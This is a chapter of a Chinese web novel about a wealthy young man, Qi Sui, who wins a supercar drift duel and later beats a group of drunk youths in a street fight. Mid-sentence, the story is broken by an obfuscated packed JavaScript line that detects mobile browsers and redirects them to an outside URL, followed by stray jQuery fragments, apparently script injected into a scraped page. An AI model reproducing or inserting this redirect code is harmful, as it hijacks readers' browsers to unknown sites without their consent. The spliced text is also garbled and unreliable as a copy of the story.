凌晨2:45。
甘诺街上,汽车引擎的嘶吼响彻天际,轮胎摩擦地面的声音不绝于耳。
宽阔的路面上,一群人围成了一个圈,而圈内是两辆正在玩双车定圆漂移的超跑。
一辆银色兰博基尼,一辆黑色布加迪。
柏油路面已经留下了一圈圈的胎痕,汽车高速急刹过弯的瞬间,后轮烧胎飘出的白烟让这片区域的空气都变得浑浊,一股浓浓的烧焦味道经久不散。
烟雾缭绕中,红色的车尾灯光,激光笔制造出的迷乱光线。围观群众在每一次车辆甩尾到跟前,差一点被撞到的刺激当中忍不住发出了一声声契合的惊呼和尖叫。
“啊啊啊!”
一银一黑的两辆跑车,全碳黑的布加迪率先加速。它自重更重,没有兰博基尼灵活敏捷,在直线加速上或许是王者,但在转弯方面难免略逊一筹。
可它的驾驶者却完全没有受限的感觉,引擎的轰鸣如同咆哮的雷云。只见它的速度越来越快,越来越疯狂,好几次都快要追上银色的兰博基尼。逼得对方也只能跟着加速与它保持安全距离,车辆惯性越来越大,好几次都几乎离开地面。
最后,兰博基尼率先失控,轮胎擦过柏油路面差点冲进人群,紧要关头打出急转才稳住局面停了下来。
黑色布加迪紧随其后,一个甩尾用车屁股怼在兰博基尼前面停下。汽车尾气一个劲儿地喷上它的车头,过了好一会儿才熄火。
从头到尾这一整套动作相当丝滑,没有半点卡顿。而停下之后两车相距咫尺,只差一点就要撞上,可见操控它的人技术有多精准,为人又有多张狂。
车门打开,布加迪的主人下车了,先是一只黑银配色的运动鞋,接着是被宽松的阔腿牛仔裤包裹的老长一条腿。
戚随刚从车里弯腰钻出来,立马就有人走上前自来熟地一把揽住他,语调夸张地吹捧,说他的技术真是太牛了云云。
戚随不喜欢别人随便触碰,他抖了抖肩,把那人的手抖下去,语气不耐道:“滚开。”
同时还附赠了一个居高临下的眼神。
他的身高大概有一米九左右,经常做各种极限运动的体格十分健壮。上身穿了一件简单的白色工字背心,露出的侧颈皮肤上有着一连串的黑色纹身,后背和肌肉偾张的两臂上也有。
长相是十分具有男性气概的类型,面部折叠度高,五官精雕细琢。发型也是个性十足的美式前刺,眉毛又浓又黑,再加上眉骨过高稍微压住了点眼睛,就显出了几分凶性。
但是,他左眼下又很有反差地长了一颗泪痣,中和了一部分凶狠之色。
虽然剩下的部分还是很凶。
“抱歉,抱歉。”那人瞬间清醒过来,不敢再造次,人往后缩,脸上露出讨好谄媚的笑,“戚少,我只是太激动了。”
“你是没看见许明新的脸色,臭得跟隔夜的泔水似的。他是哪里惹到你了?刚才你是一点情面都没给他留啊。”
戚随没搭理他的问题,只是把车钥匙丢给他,吩咐道:“给我换套车胎。”
像这种级别的超跑,一套轮胎的价格就抵得上一辆普通轿车。
那人有点肉痛,他家里的资产对比起这些阔少来说只是毛毛雨,每个月也就几十万的生活费。但这种献殷勤的机会可是别人求都求不来的,放点血就放点血吧。
遂干脆地答应了:“好嘞。”
过后戚随也没多待,但在转身离开之前,他又回过头瞥了兰博基尼一眼。
毫不掩饰的轻蔑,和不屑。
他无声地比了个口型「垃圾」。
许明新没下车,坐在车内捶了一下方向盘,“嘁,什么玩意儿。”
他都不知道今天戚随发的什么疯,他正在跟邵文喜打电话,说到最近刚回来的邵家大小姐。
“阿喜你别担心,到时候你那姐姐要真的为难你,你跟我说,我帮你收拾她!”
戚随正好在附近,突然开始抽风,一把薅过他脖子差点把他勒死。他自觉丢脸,气不过要跟他打起来时,有人上来把他们拉开,好言好语劝着,最后干架就变成了赛车。
结果却更丢脸了。
真是个疯狗。
他招他惹他了?!
——
深夜,白日的暑气渐渐消散,温度变得清爽怡人。
戚随走进24小时营业的便利店,买了一罐冰啤酒。买完之后他才发现店内已经没有位置了,就出来走到马路边坐下,单手拉开拉环,仰头灌了一口。
清凉的酒液从喉咙顺着食道一路滑进胃里,充满气泡的小麦液体味道有点酸苦。
他呼出一口气,舔了舔嘴唇上残留的酒液,掏出手机,翻出了一张年代久远的照片。
照片上是一个女人牵着两个小孩,女人面带微笑,容貌姣好,气质温婉。左手牵着的女孩跟她长得十分相似,笑眼弯弯,明媚可爱,右手牵着的男孩倒是臭着张脸,像是在生谁的闷气。
戚随定定地看了一会儿,又划到下一张照片,那是一张白纸红字的请柬。
他反复读了几遍,然后收起手机,一口气喝完了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056957|179147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩下的酒液,接着大手一捏,捏扁了铝制的易拉罐。
附近是酒吧一条街,夜晚正是客流量高的时候,时不时有喝醉的年轻人勾肩搭背,三五成群地从面前走过。
一枚十元硬币滚到跟前,追着它过来的年轻女孩步伐混乱,显然是喝了不少。她摇摇晃晃地捡起地上的硬币,抬头看到坐在路边的戚随,混沌的双眼一亮又很快重新变得浑浊。
“你你……”
她指着戚随你了半天,然后猝不及防地往他身上扑了过去。后者却往旁边一让,女孩顿时就扑在了大街上,擦伤了手臂和脸颊,同时痛呼一声。
“干什么?!”
女孩的朋友看见这一幕,误会了什么。有人把她扶起来,然后一群喝多了的男男女女就围在戚随跟前,大着舌头叫嚣。
他们大概是四男三女,七嘴八舌吵个不停。戚随听得烦,站起身,跟拔地而起了一座高山一样,拨开挡在跟前的人就要离开。
被他拨开的人踉跄几步才站稳,自觉丢了面子,酒精麻痹了大脑,热血一上头,冲上去抓住了戚随的后背衣服。
“操,让你走了吗?!”
这点力道对于戚随来说本可以轻易挣脱,但他没有,反而顿在原地,缓缓转过了身。
他舔了舔尖锐的犬齿,打量了一下那些人。眼神沉郁,又有点兴奋,像是正在期待着什么一样。
跟他照面的人猛打了个寒噤,酒都醒了一半。
那人心里毛毛的,但转念又想到他们这么多人,难道还怕他一个?就又底气足了些。
“打了人还想走,当我们是空气啊?有妈生没妈养的东西。”
那人只来得及说完这一句话,因为下一秒,一只大手就直冲他面门,猛地掐住他的脖子,将他整个人甩了大半圈再往地上一掼。巨大的冲击力摔得他是七荤八素,眼冒金星,只觉得喉骨都要被钳断了。
紧接着,是朝着肚子猛力踹过来的脚,戾气十足,完全奔着把他踹死的力度,将人踹得都往后飞了半米。一下还不够,短短几秒内又追着踹了好几脚。
那人只觉得五脏六腑都移了位,顿时去了半条命。
剩下的人见状,当然不会坐视不理。
于是本该平静下来的凌晨街头,又热闹了起来。
鲜血和汗水,尖叫和唾骂,拳拳到肉的搏斗,仿佛时光回溯到了古罗马角斗场——栅栏打开,走出了一只吃人的猛兽,饥肠辘辘,虎视眈眈,不饮血食肉便不罢休。
此时此刻。
文明失序,动物凶猛。